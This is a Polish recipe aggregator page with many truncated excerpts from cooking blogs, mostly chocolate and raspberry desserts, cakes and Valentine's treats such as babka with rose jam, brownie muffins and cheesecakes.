Dzisiaj bardzo pyszna i aromatyczna babka z konfiturą z płatków róży i konfiturą malinową. Do tego delikatnie cytrynowa i waniliowa. Polana polewą z białej czekolady i oleju kokosowego. Smaczna, wilgotna i na jednym kawałku nie można poprzestać. Bardzo mi smakowała, zrobiłam ją moim bliskim na walentynki. Polecam… Zapraszam na FILM . Subskrybuj kanał Małej Cukierenki: http://www.youtube.com/malacukierenka (adsbygoogle = window.adsbygoogle || []).push(...)wody różanej lub 3/4 łyżeczki ekstraktu różanego skórka starta z 1 cytryny około 5-6 łyżek konfitury z płatków róży około 5 łyżek konfitury malinowej Polewa: 150g białej czekolady 3 łyżki oleju kokosowego różowy barwnik spożywczy Dodatkowo: suszone płatki róży jadalnej do posypania Ciasto: 1. Formę do babki o średnicy 23-24cm wysmarować masłem i posypać mąką. 2. Mąkę

Mała Cukierenka
Muffiny brownie z malinami, daj się skusić! 172

Muffiny brownie z malinami, czyli połączenie które stanowi duet idealny.  Kwaskowate maliny, gorzka czekolada i odrobina cukru to składniki, które tworzą te przepyszne babeczki, ale nie ma co zachwalać, wypróbujcie sami!  Składniki: Na ok. 6 dużych muffinów  - 100 g masła - 125 g gorzkiej czekolady (min. 60% kakao) - 130g cukru - 2 jajka - 100g mąki pszennej - 1 łyżka kakao(...)łyżeczki proszku do pieczenia - garść malin W garnku rozpuszczam masło, następnie dodaję połamaną na kostki gorzką czekoladę i cukier, mieszam aż do rozpuszczenia. Zawartość garnka odstawiam na chwilkę do ostygnięcia. Po chwili dodaję do zawartości garnka jajka, oraz mąkę wymieszaną z proszkiem do pieczenia oraz kakao. Wszystkie składniki mieszam, do czasu uzyskania jednorodnej konsystencji, lecz nie za długo. Papilotki napełniam

Receptura smaku
Ciasto Marysieńka -z kremem i orzechami 327

delikatny biszkopt,druga-krem,kolejna-ciasto z miodem i orzechami a bazie białek-najlepsze :D potem znów warstwa kemu i na koniec druga połowa kakaowego biszkoptu :-) Całość jest polana czekoladą i posypana orzechami. Ciasto jest wspaniałe,wbrew pozorom robi się je łatwo,szybko i przyjemnie :-) Polecam SKŁADNIKI *przepis na blaszkę 25x25cm KAKAOWY BISZKOPT -5 jajek -0,5 szkl cukru (szklanka(...)cukru -1 budyń śmietankowy bez cukru 40g -2 płaskie łyżki mąki pszennej tortowej -1 opakowanie cukru waniliowego -3 szklanki mleka -200g masła lub margaryny DODATKOWO -1 tabliczka mlecznej czekolady -20g masła -3 łyżki mleka BISZKOPT KAKAOWY Białka oddzielamy od żółtek i ubijamy je na sztywno,dodajemy cukier i miksujemy chwilę do uzyskania błyszczącej masy,dodajemy żółtka-miksujemy. Dodajemy

moje pyszne łatwe i sprawdzone przepisy krok po kroku
CHILI CON CARNE Z KURCZAKIEM 185

mielonego mięsa, z dodatkiem papryki, kukurydzy i czerwonej fasoli - tym razem w wersji z kurczakiem.  Doprawione kolendrą, kminem rzymskim, chili i oregano. W mojej wersji również z gorzką czekoladą, szczyptą cynamonu i pomidorami. Podałam je z ugotowaną na sypko kaszą pęczak, kwaśną śmietaną , tartym serem i awokado.  Można przygotować wcześniej i odgrzewać. SKŁADNIKI / 6 porcji 2 filety(...)bulionem lub wodą) 400 g (puszka) rozdrobnionych pomidorów/ polecam  cirio 100 ml gorącego bulionu lub wody 200 g (mała puszka) kukurydzy 1 puszka czerwonej fasoli 2 kostki gorzkiej czekolady PRZYPRAWY : 2 łyżeczki ziaren kolendry, 1 płaska łyżeczka nasion kminu rzymskiego, 1 łyżeczka suszonego oregano, szczypta cynamonu, sól, świeżo zmielony czarny pieprz, 1 łyżeczka słodkiej papryki w proszku, 1/3 łyżeczki

cool and minty
Czekoladowy pudding z malinami wg Aleex (TM5) 112

tylko Miłość A skoro dzisiaj najważniejsza jest miłość, warto podkreślić ją wyjątkowym deserem. Zapraszam na czekoladowy pudding z malinami. Koniecznie w walentynkowej scenerii. Składniki: • 500 g mleka • 50 g czekolady deserowej • 20 g cukru • 20 g mąki ziemniaczanej • 1 jajko • 1 łyżka serka waniliowego • świeże maliny Sposób przygotowania: Tradycyjny: 1. Jajko utrzeć z cukrem. Masa powinna być puszysta(...)mleka rozmieszać mąkę ziemniaczaną. Wymieszać z masa jajeczną. 3. 400 g mleka podgrzać ze startą czekoladą. 4. Gdy tylko zacznie wrzeć, wlać mieszaninę i, cały czas mieszając, ugotować budyń. W Thermomixie: 1. Do misy włożyć czekoladę w kawałkach. Zmiksować w opcji 10s/obr.8. 2. Założyć motylek. Dodać mleko, jajko, cukier I mąkę ziemniaczaną. Gotować 6 min. 30 s/ 100o

W mojej kuchni
Czekoladowy mus z frużeliną mango-gruszkową 109

której w środku nocy nawet na pustyni będzie Wam się chciało zdobywać składniki i przygotowywać taki oto mus czekoladowy z frużeliną z gruszek i mango Składniki: 150g gorzej czekolady 3 jajka 1 łyżka drobnego cukru 20-30 g masła w temperaturze pokojowej 1 (albo i dwie) łyżka rumu – u mnie wylądował dominikański Barcelo 1 gruszka ½ mango Żelatyna ½ łyżeczki przyprawy piernikowej(...)najlepiej zastosować ją wg uznania Owoc granatu Przygotowanie: Jajka sparzyłam i oddzieliłam żółtka od białek. Czekoladę z odrobinką wody (1-2 łyżki) rozpuściłam w kąpieli wodnej, dodałam rum oraz masło i wymieszałam na idealnie gładką masę. Białka ubiłam na sztywną pianę, a żółtka utarłam z cukrem na puszystą masę. Czekoladę nieco przestudziłam tak, aby nie była gorąca a jednocześnie wciąż

Kate's Kitchen
Tort czekoladowy z malinami 147

godzin. Krem malinowy: 250 g serka mascarpone frużelina malinowa Mascarpone i frużelinę przełożyć do naczynia, zmiksować na gładką masę.   Krem czekoladowy: 200 ml kremówki 100 g gorzkiej czekolady Czekoladę roztopić w kąpieli wodnej, wystudzić. Śmietanę ubić na sztywno, dodać wystudzoną czekoladę, połączyć. Wykonanie - Na paterze położyć pierwszy blat czekoladowy, posmarować go kremem malinowym, przykryć drugim blatem. Wierzch

Domowa cukiernia Ewy
BABKA CZEKOLADOWA Z WALENTYNKOWĄ NIESPODZIANKĄ 110

czekoladowej. Składniki na babkę czekoladową: * 250 g mąki pszennej * 2 łyżeczki proszku do pieczenia * 3/4 szklanki cukru * 1 paczka cukru waniliowego * 3 jajka * 150 ml mleka * 100 g gorzkiej czekolady * 180 g masła Wykonanie: Masło z czekoladą rozpuścić w kąpieli wodnej. wystudzić. Mąkę, proszek do pieczenia, oba cukry, jajka i mleko wymieszać mikserem w misce, dodać wystudzone masło z czekoladą

Zrób to smacznie
KULECZKI BOUNTY 115

Idealne na jeden kęs, mocno kokosowe, otoczone pyszna mleczna czekoladą. Czy można chcieć coś więcej? Składniki: 2 szklanki wiórków kokosowych 1/2 szklanki cukru pudru 100 ml śmietany kremówki 80 g masła łyżeczka rumu lub olejek rumowy (kilka kropel )- dla dzieci do polania: tabliczka mlecznej czekolady Wykonanie: Rozpuścić masło, dodać śmietanę kremówkę. Następnie dodać wiórki wymieszane z cukrem pudrem oraz(...)albo aromat. Odstawić do lodówki, aż masa zacznie tężeć. Formować kulki, przełożyć do papilotek. Każdą kulkę namoczyć z wierzchu w rozpuszczonej w kąpieli wodnej czekoladzie

Z Majeczką w kuchni
Gorąca czekolada z pralinką Lindta 145

Pomysł na tą gorącą czekoladę powstał przypadkiem, nie wymaga przepisu i  instrukcji ale mogę zdecydowanie zapewnić, że jest to niezapomniane doświadczenie, idealne na Walentynki do kolacji, bądź jako pobudka ze śniadaniem do łóżka :) Koniecznie podajcie swojej drugiej połówce w tegoroczne Walentynki ! <3 * 3 łyżki gotowej gorącej czekolady w proszku * kubek mleka * 1 lub 2 pralinki czekoladowe od Lindt(...)Lindor Mleko zagotowujemy w garnku. Dosypujemy czekoladę w proszku (najlepiej 3 duże łyżki), całość porządnie mieszamy. Zmniejszamy ogień i dorzucamy jedną lub dwie pralinki lindta. Mieszamy aż pralinki się roztopią :)  Podajemy na gorąco

Klasyka Gotowania
Panna cotta truskawkowa 156

powinno się bliskiej osobie codziennie, nie tylko od święta he. Warstwa dolna, to śmietanka, mleko, żelatyna i syrop truskawkowa poezja od Ogórdka Dziadunia , wierzch mus truskawkowy i starta biała czekolada. Pyszny, już nie mogę doczekać się naszych, pysznych truskawek oj... rozmarzyłam się :-). Miłego dzionka Wam życzę :-). Składniki na 4 porcje: 350 ml śmietany 30% 1/2 szklanki mleka 3/4 szklanki syropu(...)truskawkowego u mnie truskawkowa poezja Ogródek Dziadunia 4 łyżeczki żelatyny 3 łyżeczki gorącej wody mrożone truskawki biała czekolada 1.Truskawki wcześniej rozmrażamy.  2.Śmietanę 30% i mleko dajemy do rondelka, gotujemy. Żelatynę zalewamy gorącą wodą, mieszamy i odstawiamy. Jak mleko i śmietana nam się zagotują, dodajemy do nich syrop (jeśli chcemy, żeby deser był bardziej słodki, to możemy syropu dać

kruche babeczki
Tort czekoladowy z musem czekoladowym 123

uwielbiam, ale córa owoców w torcie nie toleruje. Składniki:   Biszkopt: na 1 jajko, 3 dkg mąki, 3 dkg cukru, kakao. Masa: 500 g mascarpone (temp. pokojowa), 200 g czekolady deserowej (ciemnej), 500 ml śmietanki kremówki 30% lub 36% (zimnej), 1/3 szklanki cukru pudru. Poncz: czarna herbata, cukier, sok z cytryny. Przygotowanie: Biszkopt: Białka ubijamy z cukrem na sztywno. Dodajemy(...)tortownicy wykładamy papierem do pieczenia. Pieczemy w 160 st. ok. 40 minut. Wystudzony, przekroić na 3 blaty. Biszkopt wyjmujemy z blachy dopiero po jego całkowitym wystudzeniu. Mus czekoladowy: czekoladę połamać na kosteczki i roztopić w kąpieli wodnej. Do roztopionej czekolady dodawać po łyżce mascarpone, za każdym razem mieszając łyżką do połączenia się składników. Zimną śmietankę ubić z cukrem pudrem

Państwo Wojtczuk gotują
Rafaello ciasto przepis. 141

rewelacyjne ciasto, które smakuje wyśmienicie i chce się je jeść, jeść i jeść...  Jest wiele przepisów na ciasto rafaello - moja ulubiona wersja to ta na biszkopcie z białą czekoladą.  Rafaello Ciasto - przepis Składniki: biszkopt z 4 jajek ( biszkopt przepis ) 1/2 litra śmietany kremówki 2 śmietany śnieżki 2 białe czekolady 25 dag kokosu płatki migdałowe Sposób przygotowania(...)Biszkopt pieczemy według przepisu ( Biszkopt przepis ).  2. Czekoladę rozpuścić w kąpieli wodnej, dodać śmietanę i podgrzać mieszając. 3. Masę wystudzić - musi być bardzo chłodna 4. Po ostudzeniu ubić dodając śnieżki. 5. Dodać wiórki kokosowe i wymieszać.  6. Wylać na wcześniej upieczony biszkopt, posypać płatkami migdałowymi 7. Włożyć do lodówki aby masa całkowicie się stężała.  8. Po około

Pani domowa
Ciasto z arbuzem. przepis na przepyszny sernik arbuzowy. 120

więc warto to wykorzystać i przygotować ten przepyszny sernik. Jak przygotować ciasto z arbuzem? Składniki: masa serowa: 600 g serka homogenizowanego  360 g serka mascarpone 200 g białek czekolady 5 łyżek cukry pudru 2 opakowania galaretki cytrynowej 200 ml gorącej wody 500 g arbuza galaretka arbuzowa 500 g arbuza 3 opakowania galaretki arbuzowej 250 ml gorącej wody biszkopt - przepis(...)znajdziecie tutaj (klik) Sposób przygotowania: Masa serowa Galaretki cytrynowe rozpuścić w 200 ml wrzącej wody - odstawić do przestudzenia. Czekoladę roztopić w kąpieli wodnej. Oba rodzaje sera wymieszać razem z rozpuszczoną czekoladą, cukrem oraz tężejącą galaretką. Galaretka arbuzowa Galaretki rozpuścić w 250 ml wody. Miąższ z arbuza zmiksować w blenderze, dodać przestudzone galaretki i wymieszać. Montaż Na biszkopt wylać 1/3 masy

Pani domowa
żurawinowe bajaderki 130

cukru 1/2 szklanki mąki 1/3 szklanki kakao 1/2 łyżeczki proszku do pieczenia 3 łyżki żurawiny ze słoiczka Stovit 100 g suszonej żurawiny 2 kieliszki rumu (lub wódki) 100 g czekolady deserowej 3 łyżki mleka cukrowe serduszka Żurawinę suszoną zalać alkoholem i odstawić na minimum kilka godzin.  Białka ubić na sztywną pianę. Nadal ubijając dodawać po trochę cukier a następnie(...)ciasta dodać namoczoną żurawinę i żurawinę ze słoiczka. Z masy formować kulki (jeśli będzie zbyt sucha to dolać alkoholu lub dołożyć dżemu) i układać na kratce z piekarnika. Czekoladę połamać i zalać mlekiem, rozpuścić nad parą. Pola kuleczki i udekorować posypką cukrowa. Kiedy czekolada zastygnie przełożyć bajaderki do papilotek

Domowa Cukierenka-Domowa Kuchnia
NALEŚNIKI Z MUSEM CZEKOLADOWYM I KARMELEM 166

mąki pszennej* ● 3 jajka ● 50 cl mleka ● 50 g masła ● 25 g cukru + szczypta soli ● olej o neutralnym smaku do smażenia Na mus czekoladowy: ● 100 g gorzkiej czekolady ● 15   cl śmietany kremówki ● 2 jajka ● 1 szczypta soli Na karmel: ● 200 g cukru ● 100 g masła ● 2 cm świeżego korzenia imbiru ● 15 cl wody Przygotuj mus czekoladowy: czekoladę ze śmietaną(...)rozpuść w kąpieli wodnej, odstaw do ostudzenia. Białka oddziel od żółtek, ubij ze szczyptą soli na sztywną pianę. Żółtka domieszaj do rozpuszczonej czekolady. Dodaj ubitą pianę z białek i delikatnie wymieszaj całość. Przykryj folią spożywczą i wstaw na co najmniej 2 godziny do lodówki. Masło rozpuść w rondlu na małym ogniu, podgrzewaj, aż zacznie się pienić i nabierze lekko brązowego

Smaki Francji współczesna kuchnia francuska
Tort Walentynkowy - czekoladowy. 163

mąki tortowej 1/3 szklanki mąki ziemniaczanej i kakao (tak aby mąki i kakao było pół na pół) KREM: 100 g masła (temp. pokojowa) 250 g mascarpone 100 g dobrej czekolady z dużą zawartością kakao 2-3 łyżki ciemnego kakao do wypieków cukier puder do smaku (2-3 łyżki) odrobina aromatu migdałowego (naprawdę odrobina) PONADTO:  280 g dżemu z owoców(...)nogami tak żeby odkleić papier - odstawiamy do całkowitego wystudzenia. Nasz biszkopt wycięłam dołączoną do tortownicy blaszką w kształcie serca. Kiedy już nam wystygnie przekrawamy biszkopt na 3 blaty. KREM Czekoladę rozpuszczamy w kąpieli wodnej i odstawiamy do ostudzenia. Serek mascarpone i masło miksujemy na biały puch, dodajemy czekoladę, kakao, aromat – miksujemy aż wszystkie składniki się połączą. Dodajemy i jeszcze chwilę

Moje-pitraszenie
Serniczki z nutellą i truskawkami 165

lubi rozpieszczać swoich najbliższych może im zrobić taki deserek. Nie wymaga pieczenia i nie ma strachu, że się "zważy" co często się zdarza przy deserach na bazie czekolady. Przynajmniej mi się to zdarza. Możecie go przygotować na zbliżające się walentynki. Składniki: 125 g serka twarogowego z wiaderka 125 ml zimnej kremówki 36% 200 g nutelli Do dekoracji: 100 ml zimnej(...)kremówki 36% truskawki czekolada rurki czekoladowe Przygotowanie: Ser i nutellę dokładnie wymieszać. Zimną kremówkę ubić na sztywno. dodawać porcjami do masy serowej i powoli wymieszać (nie miksować). Szklane naczynia napełnić masą serową i odłożyć na pół godziny do lodówki. Przed podaniem na wierzch nałożyć warstwę drobno pokrojonych truskawek. Zrobić kleks z ubitej na sztywno śmietany, zetrzeć czekoladę. Udekorować plasterkiem truskawki

Ala piecze i gotuje
Sernik kokosowy (bounty) na zimno 377

łyżki likieru kokosowego Puszka mleczka kokosowego 400 ml  50 g wiórków kokosowych 4 czubate łyżeczki żelatyny w proszku + 50 ml wody Na polewę czekoladową: 120 g mlecznej czekolady (ja dałam gorzką czekoladę) 80 ml śmietany kremówki 30% Przygotowanie: Spód: Ciastka, masło i kakao umieścić w malakserze i zmiksować do momentu otrzymania masy ciasteczkowej o konsystencji mokrego piasku (ma byćtaka(...)serową. Wyrównać szpatułką. Schłodzić przez kilka godzin w lodówce, najkorzystniej przez noc. Polewa czekoladowa: W małym garnuszku podgrzać śmietanę kremówkę, prawie do wrzenia, zdjąć z palnika. Zalać nią posiekaną czekoladę, odstawić na 2 minuty. Po tym czasie wymieszać do powstania gładkiego sosu czekoladowego. Schłodzony sernik polać gęstniejącą przestudzoną polewą czekoladową, rozprowadzić. Odstawić do lodówki do stężenia polewy. Można dodatkowo oprószyć

Fabryka pomysłów
Walentynkowe ciastka owsiane z fasolą i czekoladą 189

poznany. Tak więc trwają wiara, nadzieja, miłość - te trzy: z nich zaś największa jest miłość. „ 1 LIST DO KORYNTIAN  Miłości przybywaj, wciąż czekam :) Ciastka owsiane z fasolą i czekoladą Składniki: 300 g fasoli białej 3 jajka Kilka łyżek płatków owsianych 100 g czekolady gorzkiej 80 % Kawałek masła 1-2  łyżki ksylitolu Garść suszonych moreli Garść suszonych śliwek Garść(...)gładką masę w blenderze. Drobno pokrój suszone owoce.  Jajka utrzyj z ksylitolem na puszystą pianę i dodaj je do fasoli. Dorzuć owoce i rozpuszczoną w kąpieli wodnej czekoladę. Dorzuć płatki. Całość dokładnie wymieszaj, najlepiej mikserem. Odstaw do lodówki na kilka minut. Po wyjęciu zacznij formować małe ciastka. Układaj na blasze i piecz w piekarniku nagrzanym do 180 °C przez

Bon Appetit Małgorzaty
Muffinki orzechowe z berberysem 163

Pyszne orzechowo-maślane muffinki które rozpieszczają nasze kubki smakowe, suszony berberys i polewa z białej czekolady to kropka nad „i” Tej słodkiej pokusie ulegnie każdy. Cały sekret smaku tych muffinek tkwi w dobrym jakościowo maśle, nie używajmy margaryny! Z tego przepisu wyjdzie też pyszna słodka babka lub keks, warto upiec! Składniki na 20-24 sztuki muffinek 4 jajka 2 szklanki(...)szklanka cukru 2 łyżeczki  ekstraktu z wanilii 2 łyżeczki kakao 6 łyżek mleka 2  łyżeczki proszku do pieczenia Dr.Oetker 45 g suszonego berberysu Polewa: 100 g białej czekolady 1 łyżka słodkiej śmietanki Sposób przygotowania: Orzechy mielę w malakserze, mieszam z mąką oraz proszkiem do pieczenia i kakao w misce. Miękkie masło ucieram na puch z cukrem, wbijam stopniowo

Wanilia i Kardamon
Ciasto różana chmurka 251

cukrem od Ogródek Dziadunia  (są rewelacyjne), a po drugie na płatkach jest leciutka pianka ze śmietany kremówki i serka mascarpone z dodatkiem żelatyny, oraz polewa z gorzkiej czekolady. Spód to u mnie ciasto kruche, ale jak wolicie biszkopt, to też może być :-). Miłego dzionka :-) Blaszka 28x19 cm Składniki ciasto kruche: 2,5 szklanki mąki 4 żółtka 200 g masła(...)śmietany 30 % 1 opakowanie (250 g) serka mascarpone 1 łyżka cukru pudru (niekoniecznie) 3 łyżeczki żelatyny Dodatkowo: słoiczek płatków róży ucieranych z cukrem (lub inne konfitury) 90 g czekolady gorzkiej 75% 1 łyżka masła 2 łyżki mleka 2% 1. Żelatynę rozpuszczam w gorącej wodzie ( daję do rondelka i zalewam wodą, tak aby przykryła żelatynę), odstawiam aż napęcznieje, wtedy podgrzewam (trzeba

kruche babeczki
szybkowar-z białą czekoladą śliwkowy dżemik... 177

Składniki: śliwki 5 kg, woda 1 litr, cukier 3/4 kg, biała czekolada 400 gram, żelfix 3 opakowania/3:1 do szybkowara do gotowania nie wsypuję cukru i nie przypalą się śliwki do dna, cukier dodaję na koniec = umyte śliwki wypestkować, włożyć do szybkowara (11 litrów), wlać wodę, zamknąć szybkowar i od chwili zasyczenia pary gotować z 10 minut, szybkowar otworzyć(...)spuści ciśnienie odlać nadmiar soku (po osłodzeniu można zapasteryzować sok w słoiku lub zostawić do wypicia), wsypać cukier, żelfix, połamaną czekoladę pałką blendera wszystko zmiksować i doprowadzić do zagotowania mieszając do czystych słoików nakładać gorący dżemik, zakręcić mocno i postawić na zakretkach do wystygnięcia, potem schować w ciemne , chłodne miejsce pyszniutki dżemik z białą czekoladą do śniadania, deserów, ciast, naleśników

W Mojej Kuchni Lubię
Bezglutenowy chlebek czekoladowo - porzeczkowy podany z grillowanymi owocami 108

łyżeczki sody  1 czubata łyżka kakao  1/2 łyżeczki proszku do pieczenia  50 gram cukru trzcinowego 1 rozgnieciony banan  szczypta soli 50 gram posiekany czekolady, dowolnie do wyboru mleczka lub deserowa  Do miski przesiewam kakao, mąki, proszek do pieczenia i sodę. Wsypuję szczyptę soli i posiekaną czekoladę. W malakserze miksuję olej, banana, cukier, dżem i jajka(...)nagrzanym do 175 stopni. Po upieczeniu studzę ciasto na kratce. Przechowuję w szczelnie zamkniętym pojemniku lub woreczku foliowym.  Sposoby podania: chlebek czekoladowy polany polewą czekoladową  100 gram czekolady, 1 łyżkę masła, 2 łyżki mleka kokosowego rozpuść w kąpieli wodnej i polej przygotowaną polewą chlebek.  grillowana kromka chleba podana z grillowaną gruszką i jogurtem Jedną gruszką podziel

Mango Papaja
Jesienna Pani Walewska 135

ekstrakt. Na pierwszy placek nałożyć krem budyniowy, wyrównać. Przykryć drugim plackiem, odwracając go warstwą orzechową do dołu i polać polewą czekoladową. Polewa czekoladowa: 75 g masła 75 g czekolady gorzkiej 75 g czekolady mlecznej Masło roztopić, zdjąć z palnika Dodać posiekaną czekoladę, poczekać do jej roztopienia, wymieszać. SMACZNEGO

kulinarnyswiatdomi
Kulki a la ferrero rocher 89

miarę szybko, lecz czas przez jaki kulki muszą odczekać w lodówce, będzie na pewno najcięższym w Waszym życiu :)  Składniki: * 8 łyżek nutelli * 75g zwykłych wafli * tabliczka czekolady mlecznej * 2-3 łyżek masła Zanim zacznijcie upewnijcie się, że nutella jest w temperaturze pokojowej i konsystencji płynnej.  Wafle kruszymy na puch używając rąk. Nasz puch mieszamy z nutellą. Jest(...)się przemęczyć. Połączone składniki stworzą masę którą musimy schłodzić w lodówce przez około i minimum 1 godziny. Po tym czasie formujemy kuleczki i ponownie chłodzimy przez 20-30 minut. Czekoladę kruszymy i rozpuszczamy z masłem. Kuleczki moczymy w czekoladzie i odkładamy na talerz wyłożony papierem. Ponownie chłodzimy przez około 2-3 godzin. Po tym czasie, kuleczki są gotowe :) Można dodać

Klasyka Gotowania
Tort czekoladowo malinowy 140

dzień wcześniej. Ten tort został udekorowany wyłącznie przez moich pomocników, 8 latkę oraz 4 latka :) Wypróbujcie! Przepis na biszkopt znajdziecie tutaj:  Biszkopt na tort Składniki: * 2 tabliczki mlecznej czekolady * 800ml śmietany kremówki * 5 łyżek cukru pudru * opakowanie (150g) malin * słoik dżemu malinowego Śmietanę ubijamy na sztywno z cukrem i chłodzimy przez 10 minut. Ubitą śmietanę dzielimy na dwie porcje(...)śmietany oraz 3/4). Czekoladę rozpuszczamy i studzimy. Do większej porcji śmietany delikatnie wlewamy ostudzoną czekoladę i delikatnie mieszamy. Biszkopt przekładamy kolejno: biszkopt - dżem - krem śmietankowy - biszkopt - krem czekoladowy - biszkopt Całość smarujemy pozostałym kremem czekoladowym. Ozdabiamy malinami oraz kulkami ferrero rocher. Tort chłodzimy przez 12 godzin. Przepis na kulki ferrero rocher znajdziecie tutaj:  Kulki a la ferrero rocher

Klasyka Gotowania
Bułeczki drożdżowe z czekoladą 228

Bułeczki drożdżowe z czekoladą Witajcie. Ponieważ ja nie bardzo lubię słodycze to nie zabierałam się za ich robienie. Na przepis trafiłam w necie na stronie ww.coolinarnie.pl. Stwierdziłam, że spróbuję dogodzić moim domownikom gdyż ostatnio mam wolne od szkoły a i czasu troszkę więcej. Pozwolę sobie pożyczyć przepis od autorki  i napisać tutaj po kolei co i jak. Mam nadzieję(...)się zechce je zrobić to czekam na opinie :) Zakupy: - 0,5 kg mąki - 2 łyżki masła - 1 jajko - 1 żółtko - sól - mleko - cukier - drożdże - 1 mleczna czekolada Zaczyn: - 1 szklanka mleka ( ja podgrzałam w mikrofalówce tak żeby było ciepłe ale nie gorące) - 1 łyżka cukru - 1 łyżka mąki - 1/3 kostki drożdży Przygotowanie: Do podgrzanego mleka wsypałam łyżkę mąki i łyżkę

Tanio smacznie i prosto
Najlepszy przepis na pączki z wiśnią z polewą z białej czekolady 199

Ciasto nie może być ani zbyt gęste, ani zbyt rzadkie. Na każdym etapie należy kontrolować jego konsystencję. Przez dodatek drylowanych wiśni, odsączonych z nadmiaru płynu i polewę z białej czekolady otrzymujemy pączki idealne o smaku słodko- kwaśnym.  Składniki (na 40 małych pączków): 100 gram drożdży  1 łyżka cukru  2 szklanki ciepłego mleka 2 jaja 5 żółtek(...)mąki  szczypta soli  skórka otarta z połowy pomarańczy  50 gram rozpuszczonego masła  200 gram drylowanych, odsączonych z nadmiaru płynu wiśni  100 gram czekolady białej + 2 łyżki mleka + 1 łyżka masła  2 litry oleju rzepakowego do smażenia  2-3 ziemniaki Z drożdży, cukru, 1 łyżki ciepłego mleka i 1 łyżki mąki robię

Mango Papaja
MALINOWE DROŻDŻÓWKI 125

szklanki mąki 3 żółtka 1 jajko 50 g masła 2 łyżki dżemu malinowego 2 kieliszki nalewki malinowej 2 łyżki cukru pudru szczypta soli Dodatkowo: 1 białko 100 g czekolady gorzkiej 2 łyżki masła kasza jaglana ekspandowana Wykonanie: Ciasto: Mleko lekko podgrzewamy do temp. ok. 30 stopni. W podgrzanym mleku rozpuszczamy cukier oraz pokruszone drożdże i mieszamy z 1 łyżką mąki(...)urosną.  Po tym czasie, wierzch bułeczek smarujemy rozmąconym białkiem i wkładamy je do piekarnika nagrzanego do 180 stopni na około 20 minut. Studzimy. Polewa: Gorzką czekoladę rozpuszczamy razem z masłem w kąpieli wodnej. Rozpuszczoną czekoladą polewamy wierzch drożdżówek. Możemy przyozdobić ekspandowaną kaszą jaglaną. Rada: Bułeczki fantastycznie smakują z dżemem. Możemy je po upieczeniu nadziać dżemem lub po prostu przekroić

Kuchnia MagdaLeny
Wampirzyca 134

szklanka mąki 2 łyżeczki proszku do pieczenia 1 łyżka oleju 30 gram wiórek kokosowych słoiczek malinowego dżemu 1/2 litra śmietany 36% 1 serek mascarpone lub żelatyna 2 białe czekolady czerwony barwnik Biszkopt: Ubijamy na sztywną pianę białka. Następnie dodajemy cukier, żółtka, mąkę z proszkiem do pieczenia i olej. Na sam koniec dodajemy wiórki kokosowe mieszając już łyżką. Wkładamy do piekarnika(...)Pieczemy około 35 minut. Po ostudzeniu kroimy na dwie części. Warstwa śmietanowa: Śmietanę ubijamy na sztywno i dodajemy do niej serek mascarpone lub rozpuszczoną i ostudzoną żelatynę. Polewa: Czekolady rozpuszczamy na parze z dodatkiem mleka i masła. Ja nigdy nie odmierzam dokładnej ilości tych składników robię to na oko ;) Gdy wszystko nam się już rozpuści dodajemy czerwony barwnik wedle uznania

Słodkie ciacho
Sernik japoński. 209

jogurtu greckiego to ten jest troszkę podobny,ale jeszcze bardziej rozpływa się w ustach .Moja rodzina zachwycona!. Składniki: tortownica 20 cm 5 jajek ,temperatura pokojowa 200 g białej czekolady 300 g serka kremowego typu Philadelphia (Nie sprawdzi się tu ser wiaderkowy o zbyt płynnej konsystencji) W dużym garnku zagotowujemy wodę ,zmniejszamy na minimalny ogień i stawiamy na nim mniejszą ,metalową(...)miskę w której roztapiamy białą czekoladę.Zdejmujemy z ognia i na kuchence dodajemy do czekolady ser ,mieszamy energicznie aż masy się połączą .Teraz dodajemy po jednym żółtku i nadal mieszamy .Masa jest dość rzadka ,ale nie płynna. Białka ubijamy na sztywną pianę i w dwóch częściach dodajemy do masy serowo – czekoladowej .Mieszamy delikatnie łyżką ,aby masa nie opadła. Przelewamy

Ladylaura.
Naleśniki black end white z owocami 177

Naleśniki black end white z owocami Wspaniały duet naleśnikowy , który u nas z powodzeniem zastępuje obiad . Naleśnik waniliowy z gruszką i ciemną czekoladą , oraz czekoladowy naleśnik ze śliwką i sosem waniliowym , to po prostu poezja smaku . Są proste i tanie w przygotowaniu , a każdy domownik zaklaska uszami na ich widok , możecie być pewni " class="wp-smiley" style="height(...)opakowanie cukru waniliowego farsz white : 1-2 gruszki cukier waniliowy szczypta mielonego kardamonu szczypta imbiru 2 łyżeczki cukru lub miodu 2 serki homogenizowane, waniliowe sos czekoladowy : 2 mleczne czekolady 100 ml słodkiej śmietanki 10 % 1 łyżeczka , czarnego kakao ciasto naleśniki black : 4,5 szklanki mąki 4 szklanki wody 1 jajko 1 duża łyżka, czarnego kakao 1 cukier waniliowy nadzienie

Ogrodnik w podróży
Krem orzechowo-czekoladowy 153

łyżki kaszy jaglanej (ok. 39 g), - 3/4 szklanki mleka 2% + łyżka (ok. 200 ml), - 5 daktyli (ok. 23 g), - łyżka masła orzechowego (ok. 20 g), - 4 kostki gorzkiej czekolady (ok. 20 g), - łyżka orzechów arachidowych (ok. 10 g). Sposób przygotowania 1 . Daktyle zalewamy gorącą wodą i odstawiamy do napęcznienia (ok. 30 min.). 2 . Kaszę jaglaną dokładnie płuczemy. 3. Kaszę jaglaną(...)Ugotowaną kaszę jaglaną miksujemy z dodatkiem 1/4 szklanki mleka na gładką pastę. 5. Daktyle (bez wody) miksujemy z masłem orzechowym na gładką pastę. 6. Rozpuszczamy w kąpieli wodnej czekoladę z dodatkiem mleka. 7. Rozdrabniamy orzechy. 8. W kubeczku umieszczamy krem jaglany następnie krem daktylowo-orzechowy. Całość oblewamy czekoladą i obsypujemy orzechami. Deser jest bogaty w: - witaminę B 2 (pochodzącą

Zdrowe odżywianie w pięciu smakach
Piernik z powidłami i czekoladą 133

czubatych łyżek kwaśnej śmietany 18% 4 pełne łyżeczki przyprawy do piernika 2,5 płaskich łyżeczek sody 2 pełne łyżki kakao Przełożenie: 2 słoiczki powideł śliwkowych Polewa: 100 g gorzkiej czekolady 50 g mlecznej czekolady 8 – 9 łyżek kremówki Miękkie masło ucieramy z cukrem na puszystą masę, a następnie dodajemy po jednym jajku. Ciągle ucierając dodajemy miód i śmietanę. Następnie(...)kilka minut. Gorące nakładamy na ciasto (ok 2/3 ilości), przykrywamy drugim blatem i rozprowadzamy resztę powideł. Piernik odstawiamy na około 2 godziny do lodówki, by powidła zastygły. Połamaną czekoladę podgrzewamy razem ze śmietanką w kąpieli wodnej do roztopienia. Następnie umieszczamy ją w szprycy, zakładamy końcówkę z małą dziurką i polewamy cienkim strumykiem tworząc drobną kratkę. Nie przechowujemy w lodówce. Źródło

